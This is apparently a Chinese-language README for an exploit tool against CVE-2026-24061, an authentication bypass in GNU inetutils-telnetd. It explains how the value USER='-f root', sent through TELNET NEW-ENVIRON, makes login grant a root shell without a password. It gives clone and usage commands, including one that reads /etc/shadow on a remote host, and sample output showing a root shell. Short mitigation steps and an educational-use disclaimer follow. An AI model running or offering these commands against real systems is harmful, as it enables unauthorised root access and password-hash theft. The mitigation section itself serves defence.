| 字段 | 值 |
|---|
| CVE ID | CVE-2026-24061 |
| 受影响软件 | GNU inetutils-telnetd |
| 受影响版本 | 1.9.3 – 2.7 |
| 漏洞类型 | 身份验证绕过 |
| CVSS 评分 | 严重 |
| 攻击向量 | 网络 |
该漏洞利用了 telnetd 在协议协商期间,通过 TELNET NEW-ENVIRON 选项(RFC 1572)处理接收到的 USER 环境变量时的一个缺陷。
TELNET 协议协商:当客户端连接时,服务器和客户端会协商各项能力,包括 NEW-ENVIRON 选项,该选项允许客户端发送环境变量。
恶意 USER 值:该利用程序在此协商阶段发送 USER=-f root 作为环境变量。
不安全的参数传递:易受攻击的 telnetd 将此值未经净化地传递给 login 程序。
命令注入:login 程序将 -f root 解释为命令行标志:
-f = "强制登录,无需身份验证"root = 要登录的用户名获取 root 权限:攻击者在从未被提示输入密码的情况下获得 root shell。
客户端发送: USER = "-f root"
telnetd 运行: login -f root
结果: 无需身份验证即授予 root shell
这等同于在具有易受攻击的 telnetd 的系统上运行 USER='-f root' telnet -a localhost。
git clone https://github.com/yourusername/CVE-2026-24061.git
cd CVE-2026-24061
chmod +x exploit.py
./exploit.py [选项] <目标>
| 选项 | 描述 | 默认值 |
|---|---|---|
host | 目标主机名或 IP 地址 | 必填 |
-p, --port | 目标端口 | 23 |
-u, --user | 要注入的 USER 值 | -f root |
-c, --command | 运行单条命令(非交互式) | 无 |
-t, --timeout | 连接超时时间(秒) | 10 |
在 localhost 上获取交互式 root shell:
./exploit.py localhost
在远程主机上获取交互式 root shell:
./exploit.py 192.168.1.100
执行单条命令并退出:
./exploit.py -c "id" localhost
./exploit.py -c "cat /etc/shadow" 192.168.1.100
./exploit.py -c "whoami && hostname" target.local
以不同用户登录:
./exploit.py -u "-f admin" localhost
./exploit.py -u "-f postgres" database-server
非标准端口:
./exploit.py -p 2323 localhost
组合选项:
./exploit.py -p 2323 -c "uname -a" -t 5 192.168.1.100
当不带 -c 标志运行时,该利用程序会将你带入一个交互式 shell:
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-24061 - inetutils-telnetd 身份验证绕过 ║
║ 影响范围:inetutils-telnetd 1.9.3 - 2.7 ║
╚══════════════════════════════════════════════════════════════╝
[*] 已连接到 192.168.1.100:23
[*] 正在协商 TELNET 选项...
[*] 已同意 NEW-ENVIRON(发送 USER='-f root')
[+] 已通过 NEW-ENVIRON 发送 USER='-f root'
Linux vulnerable-host 5.15.0 #1 SMP x86_64 GNU/Linux
root@vulnerable-host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@vulnerable-host:~#
禁用 telnetd:如果不是严格必需,请完全禁用 telnet 服务
sudo systemctl stop inetutils-telnetd
sudo systemctl disable inetutils-telnetd
改用 SSH:使用 SSH 替代 telnet 进行远程访问
sudo apt install openssh-server
防火墙规则:阻止来自不受信任网络的 23 端口
sudo ufw deny 23/tcp
该利用程序实现了一个最小的 TELNET 客户端,它:
USER=-f root此工具仅用于教育和授权安全测试目的。
MIT 许可证 — 详情请参阅 LICENSE。